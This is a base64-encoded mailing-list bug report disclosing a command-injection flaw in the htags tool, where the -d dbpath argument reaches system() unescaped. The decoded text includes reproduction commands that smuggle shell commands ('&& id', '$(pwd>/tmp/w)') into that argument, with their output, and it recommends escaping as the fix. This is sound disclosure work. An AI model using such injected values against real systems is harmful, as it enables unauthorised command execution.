Security vulnerability in htags

u32i <[email protected]> Tue, 07 May 2024 20:05:28 +0000
Newsgroups gmane.comp.gnu.global.bugs
Message-ID <TYv_IWTtj_grsFHrF-uG-AvuFwFtK0Y_WtHMjbXva7SY7Y7i2aMLTxKll3ZV_k0ucQ7iIcHnGkymZAdSVfJA3DtQ0q8C6Q6ZOyYoe6X9xH0=@proton.me>
This is a multi-part message in MIME format.

--b1_gwZrXTJNsE8ON8dd3hotbO6bzrGMx8b8qjtT2a0c
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: base64

SGksCgpJIGZvdW5kIGEgc2VjdXJpdHkgdnVsbmVyYWJpbGl0eSBpbiBodGFncy4gaHRhZ3MgdGFr
ZXMgdGhlIGlucHV0IHByb3ZpZGVkIGluIHRoZSBkYnBhdGggb3B0aW9uICgtZCkgYW5kIGFwcGVu
ZHMgaXQgdG8gYSBjb21tYW5kIHN0cmluZyB0aGF0IHdpbGwgbGF0ZXIgYmUgZXhlY3V0ZWQgYnkg
c3lzdGVtKCkgZnVuY3Rpb24sIHdpdGhvdXQgYW55IGVzY2FwaW5nLCBsZWFkaW5nIHRvIGEgY29t
bWFuZCBpbmplY3Rpb24gdnVsbmVyYWJpbGl0eS4KClZ1bG5lcmFibGUgY29kZTogc3JjL2h0YWdz
L2h0YWdzLmM6TDEzMzYKClJlcHJvZHVjZToKCi0gUnVuIGh0YWdzIGJ5IGluamVjdGluZyBhIGNv
bW1hbmQgaW4gdGhlIGRicGF0aCBhcmd1bWVudCAoLWQpIDoKCiQgaHRhZ3MgLS1zdWdnZXN0MiAt
ZCAnJiYgaWQnCi8vIFNOSVAKdWlkPTEwMDAodXNlcjEpIGdpZD0xMDAwKHVzZXIxKSBncm91cHM9
MTAwMCh1c2VyMSksMjQoY2Ryb20pLDI1KGZsb3BweSksMjcoc3VkbykKaHRhZ3M6IEdQQVRILCBH
VEFHUyBhbmQvb3IgR1JUQUdTIG5vdCBmb3VuZC4gUGxlYXNlIHJlZXhlY3V0ZSBodGFncyB3aXRo
IHRoZSAtZyBvcHRpb24uCgokIGh0YWdzIC0tc3VnZ2VzdDIgLWQgJyQocHdkPi90bXAvdyknCiQg
Y2F0IC90bXAvdyAvaG9tZS91c2VyMS90ZXN0cwoKRW52aXJvbm1lbnQ6CgpUZXN0ZWQgaW4gRGVi
aWFuIDEyLCBodGFncyB2ZXJzaW9uIDYuNi4xMgoKTWl0aWdhdGlvbjoKCk9wdGlvbnMgYWRkZWQg
dG8gb3IgdXNlZCBpbiBzeXN0ZW0gY29tbWFuZHMgc2hvdWxkIGJlIHZhbGlkYXRlZCBhbmQgZXNj
YXBlZCBiZWZvcmUgdXNlZC4KCkJlc3QgUmVnYXJkcw==

--b1_gwZrXTJNsE8ON8dd3hotbO6bzrGMx8b8qjtT2a0c
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDE0
cHg7Ij5IaSw8L2Rpdj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7
IGZvbnQtc2l6ZTogMTRweDsiPjxicj48L2Rpdj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTogQXJp
YWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTRweDsiPkkgZm91bmQgYSBzZWN1cml0eSB2dWxu
ZXJhYmlsaXR5IGluIGh0YWdzLiBodGFncyB0YWtlcyB0aGUgaW5wdXQgcHJvdmlkZWQgaW4gdGhl
IGRicGF0aCBvcHRpb24gKC1kKSBhbmQgYXBwZW5kcyBpdCB0byBhIGNvbW1hbmQgc3RyaW5nIHRo
YXQgd2lsbCBsYXRlciBiZSBleGVjdXRlZCBieSBzeXN0ZW0oKSBmdW5jdGlvbiwgd2l0aG91dCBh
bnkgZXNjYXBpbmcsIGxlYWRpbmcgdG8gYSBjb21tYW5kIGluamVjdGlvbiB2dWxuZXJhYmlsaXR5
LjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1z
aXplOiAxNHB4OyI+PGJyPjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fu
cy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+VnVsbmVyYWJsZSBjb2RlOiBzcmMvaHRhZ3MvaHRh
Z3MuYzpMMTMzNjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJp
ZjsgZm9udC1zaXplOiAxNHB4OyI+PGJyPjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBB
cmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+UmVwcm9kdWNlOjwvZGl2PjxkaXYg
c3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+
PHVsIGRhdGEtZWRpdGluZy1pbmZvPSJ7JnF1b3Q7b3JkZXJlZFN0eWxlVHlwZSZxdW90OzoxLCZx
dW90O3Vub3JkZXJlZFN0eWxlVHlwZSZxdW90OzoxfSI+PGxpIHN0eWxlPSJsaXN0LXN0eWxlLXR5
cGU6IGRpc2M7Ij5SdW4gaHRhZ3MgYnkgaW5qZWN0aW5nIGEgY29tbWFuZCBpbiB0aGUgZGJwYXRo
IGFyZ3VtZW50ICgtZCkgOiZuYnNwOzwvbGk+PC91bD48ZGl2PjxzcGFuIHN0eWxlPSJmb250LWZh
bWlseTpNZW5sbywgQ29uc29sYXMsICZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7LCBtb25vc3BhY2Ui
PiZuYnNwOyAmbmJzcDsgJm5ic3A7JCZuYnNwOzwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC1mYW1p
bHk6TWVubG8sIENvbnNvbGFzLCAmcXVvdDtDb3VyaWVyIE5ldyZxdW90OywgbW9ub3NwYWNlIj5o
dGFncyAtLXN1Z2dlc3QyIC1kICcmYW1wOyZhbXA7IGlkJzwvc3Bhbj48L2Rpdj48L2Rpdj48ZGl2
IHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij48Zm9udCBmYWNlPSJNZW5sbywgQ29uc29sYXMsIENv
dXJpZXIgTmV3LCBtb25vc3BhY2UiPiZuYnNwOyAmbmJzcDsgJm5ic3A7Ly8gU05JUDwvZm9udD48
L2Rpdj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6
ZTogMTRweDsiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCAmcXVv
dDtDb3VyaWVyIE5ldyZxdW90OywgbW9ub3NwYWNlOyBmb250LXNpemU6IDlwdDsgbGluZS1oZWln
aHQ6IG5vcm1hbDsiPiZuYnNwOyAmbmJzcDsgJm5ic3A7IHVpZD0xMDAwKHVzZXIxKSBnaWQ9MTAw
MCh1c2VyMSkgZ3JvdXBzPTEwMDAodXNlcjEpLDI0KGNkcm9tKSwyNShmbG9wcHkpLDI3KHN1ZG8p
PC9zcGFuPjxicj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IE1lbmxvLCBDb25zb2xhcywgJnF1
b3Q7Q291cmllciBOZXcmcXVvdDssIG1vbm9zcGFjZTsgZm9udC1zaXplOiA5cHQ7IGxpbmUtaGVp
Z2h0OiBub3JtYWw7Ij4mbmJzcDsgJm5ic3A7ICZuYnNwOyBodGFnczogR1BBVEgsIEdUQUdTIGFu
ZC9vciBHUlRBR1Mgbm90IGZvdW5kLiBQbGVhc2UgcmVleGVjdXRlIGh0YWdzIHdpdGggdGhlIC1n
IG9wdGlvbi48L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5z
LXNlcmlmOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IE1lbmxv
LCBDb25zb2xhcywgJnF1b3Q7Q291cmllciBOZXcmcXVvdDssIG1vbm9zcGFjZTsgZm9udC1zaXpl
OiA5cHQ7IGxpbmUtaGVpZ2h0OiBub3JtYWw7Ij48YnI+PC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9
ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+PHNwYW4g
c3R5bGU9ImZvbnQtZmFtaWx5OiBNZW5sbywgQ29uc29sYXMsICZxdW90O0NvdXJpZXIgTmV3JnF1
b3Q7LCBtb25vc3BhY2U7IGZvbnQtc2l6ZTogOXB0OyBsaW5lLWhlaWdodDogbm9ybWFsOyI+PHNw
YW4gc3R5bGU9ImZvbnQtc2l6ZToxNHB4O2ZvbnQtZmFtaWx5OkFyaWFsLCBzYW5zLXNlcmlmIj4m
bmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyQmbmJzcDs8c3BhbiBzdHls
ZT0iZm9udC1mYW1pbHk6TWVubG8sIENvbnNvbGFzLCAmcXVvdDtDb3VyaWVyIE5ldyZxdW90Oywg
bW9ub3NwYWNlIj5odGFncyAtLXN1Z2dlc3QyIC1kICckKHB3ZCZndDsvdG1wL3cpJzwvc3Bhbj48
L3NwYW4+PC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiPjxmb250IGZh
Y2U9Ik1lbmxvLCBDb25zb2xhcywgQ291cmllciBOZXcsIG1vbm9zcGFjZSI+Jm5ic3A7ICZuYnNw
OyAmbmJzcDskIGNhdCAvdG1wL3c8YnI+PC9mb250PjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlw
dDsgbGluZS1oZWlnaHQ6IG5vcm1hbDsiPjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBzeXN0ZW0t
dWksIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTRweDsiPjxmb250IGZhY2U9Ik1lbmxvLCBDb25z
b2xhcywgQ291cmllciBOZXcsIG1vbm9zcGFjZSI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsvaG9tZS91
c2VyMS90ZXN0czxicj48L2ZvbnQ+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IHN5c3Rl
bS11aSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFt
aWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsiPjxicj48L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZm9u
dC1mYW1pbHk6IHN5c3RlbS11aSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+PHNwYW4g
c3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsiPkVudmlyb25tZW50Ojwvc3Bh
bj48L2Rpdj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTogc3lzdGVtLXVpLCBzYW5zLXNlcmlmOyBm
b250LXNpemU6IDE0cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNl
cmlmOyI+PGJyPjwvc3Bhbj48L2Rpdj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTogc3lzdGVtLXVp
LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6
IEFyaWFsLCBzYW5zLXNlcmlmOyI+VGVzdGVkIGluIERlYmlhbiAxMiwgaHRhZ3MgdmVyc2lvbiA2
LjYuMTI8L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IHN5c3RlbS11aSwgc2Fu
cy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlh
bCwgc2Fucy1zZXJpZjsiPjxicj48L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1zaXplOiAx
NHB4OyI+PGZvbnQgZmFjZT0iTWVubG8sIENvbnNvbGFzLCBDb3VyaWVyIE5ldywgbW9ub3NwYWNl
Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBmb250LWZhbWlseTogQXJpYWwsIHNhbnMt
c2VyaWY7Ij5NaXRpZ2F0aW9uPC9zcGFuPjo8L2ZvbnQ+PC9kaXY+PGRpdiBzdHlsZT0iZm9udC1z
aXplOiAxNHB4OyI+PGZvbnQgZmFjZT0iTWVubG8sIENvbnNvbGFzLCBDb3VyaWVyIE5ldywgbW9u
b3NwYWNlIj48YnI+PC9mb250PjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiPjxm
b250IGZhY2U9Ik1lbmxvLCBDb25zb2xhcywgQ291cmllciBOZXcsIG1vbm9zcGFjZSI+PHNwYW4g
c3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyI+
T3B0aW9ucyBhZGRlZCB0byBvciB1c2VkIGluIHN5c3RlbSBjb21tYW5kcyBzaG91bGQgYmUgdmFs
aWRhdGVkIGFuZCBlc2NhcGVkIGJlZm9yZSB1c2VkLjwvc3Bhbj48L2ZvbnQ+PC9kaXY+PGRpdiBz
dHlsZT0iZm9udC1mYW1pbHk6IHN5c3RlbS11aSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4
OyI+PGZvbnQgZmFjZT0iTWVubG8sIENvbnNvbGFzLCBDb3VyaWVyIE5ldywgbW9ub3NwYWNlIj48
YnI+PC9mb250PjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBzeXN0ZW0tdWksIHNhbnMt
c2VyaWY7IGZvbnQtc2l6ZTogMTRweDsiPjxmb250IGZhY2U9Ik1lbmxvLCBDb25zb2xhcywgQ291
cmllciBOZXcsIG1vbm9zcGFjZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgZm9udC1m
YW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyI+Qjwvc3Bhbj48L2ZvbnQ+PHNwYW4gc3R5bGU9ImZv
bnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxNHB4OyI+ZXN0IFJlZ2Fy
ZHM8L3NwYW4+PC9kaXY+PGJyPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJwcm90b25tYWlsX3Np
Z25hdHVyZV9ibG9jayIgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsgZm9u
dC1zaXplOiAxNHB4OyI+DQo8L2Rpdj4NCg==


--b1_gwZrXTJNsE8ON8dd3hotbO6bzrGMx8b8qjtT2a0c--